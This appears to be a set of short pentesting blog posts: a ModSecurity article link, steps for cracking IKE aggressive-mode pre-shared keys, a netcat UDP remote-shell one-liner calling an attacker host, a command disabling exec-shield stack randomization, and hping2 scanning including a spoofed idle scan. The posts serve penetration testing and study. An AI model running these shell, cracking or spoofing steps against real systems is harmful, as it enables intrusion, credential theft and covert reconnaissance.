ModSecurity: Application Firewall

I wrote an article about Modsecurity, an apache module that work as an application Firewall. The paper is written in Spanish because the lack of spanish documentation about it. I wrote it for a monthly publication for the company i work.

You can get it at:
HTML Version: http://www.isecauditors.com/es/iseclab4.html
PDF Version: http://www.isecauditors.com/downloads/artic/iseclab4.pdf

Enjoy

Ike Aggressive Mode Cracking

If you are doing a Pentest and you find a Vpn server there is a chance that it support Aggressive Mode, so what could we do?

1-Use Ikeprobe to check if the server support Aggressive Mode: ikeprobe ipserver
2-If we are lucky and there is a match, then we have to configure a vpn client (Safenet for example) with the information we have, we doesnt have the pre-shared key but doesnt matter, that is what we looking for.
3-Before firing up the vpn client, we have to put Cain to sniff the network traffic.
4-After the failed attempt Cain will have a sniffed the preshared key hash, now we send it to the Cain cracker.
5-And then we can launch Dictionary attack and if it fails, we can try brute force attack. We have to wait and wait... until the password is revealed.

That's all

Netcat Udp shell

Here is a little memory helper about the uses of Netcat, an udp shell.

On the attacker:
Terminal 1: nc -lun -p 4444
Terminal 2: nc -lun -p 5555

On the Victim:
echo""|nc -un ipattacker 4444 | nc -un ipattacker 5555

So you type the commands on the Terminal 1 and you receive the output on Terminal 2.
This also apply to tcp

More Exec-shield and Fedora

Well i'm not using Fedora anymore, Ubuntu has replaced it forever :)
But i found that Fedora cames with the option exec-shield-randomize enabled,
so your stack address change every time you run a program.

For example:

$ gcc -Wall -g --static -o stackp stackp.c
$ for i in 1 2 3 4 5; do ./stackp; done
&sp is 0xbffff234
&sp is 0xbffff134
&sp is 0xbffff034
&sp is 0xbfffef34
&sp is 0xbfffee34

Now if you want to disable the randomization you have to execute this command:

echo 0 > /proc/sys/kernel/exec-shield-randomize

And now if we do the test again, we see that our address is not changing anymore:

$ gcc -Wall -g --static -o stackp stackp.c
$ for i in 1 2 3 4 5; do ./stackp; done
&sp is 0xbffff234
&sp is 0xbffff234
&sp is 0xbffff234
&sp is 0xbffff234
&sp is 0xbffff234

So we can do our test and Bufos practising without problems :)

Hping2

Here we have 3 little examples of hping2 uses:

Host uptime:
------------

hping2 host -p 80 -S --tcp-timestamp

Scanning :
---------

Syn scan:
hping2 -S target -p ++80 (++ will increase the port, for each try)


hping2 --scan known target


IDLE SCAN using Hping2
----------------------

The Players:

host A - evil host, the attacker.
host B - silent host.
host C - victim host.

A is your host.
B is a particular host: It must not send any packets while
you are scanning C. There are a lot of 'zero traffic' hosts
in internet, especially in the night :)
C is the victim, it must be vulnerable to SYN scan.

I've called this scan method 'dumb host scan' in honour of host
B characteristics.


How it works:

Host A monitors number of outgoing packets from B using id iphdr.
You can do this simply using hping:

#hping B -r
HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms
-cut-
..
.

As you can see, id increases are always 1. So this host have the
characteristics that host B should to own.

Now host A sends SYN to port X of C spoofing from B.
(using hping => 0.67 is very easy, http://www.kyuzz.org/antirez)
if port X of C is open, host C will send SYN|ACK to B (yes,
host C don't know that the real sender is A). In this
case host B replies to SYN|ACK with a RST.
If we send to host C a few of SYN it will reply to B with a few
of SYN|ACK, so B will reply to C a few of RST... so
we'll see that host B is sending packets!

.
..
-cut-
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms
-cut-
..
.

The port is open!

Instead, if port X of C is closed sending to C a few
of SYN spoofed from B, it will reply with RST to B, and
B will not reply (see 3). So we'll see that host B is not sending
any packet:

.
..
-cut-
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms
-cut-
..


The port is closed.

All this can appear complicated to perform, but using two sessions
of hping on Linux virtual consoles or under X makes it more simple.
First session listen host B: hping B -r
Second session send spoofed SYN: hping C -a B -S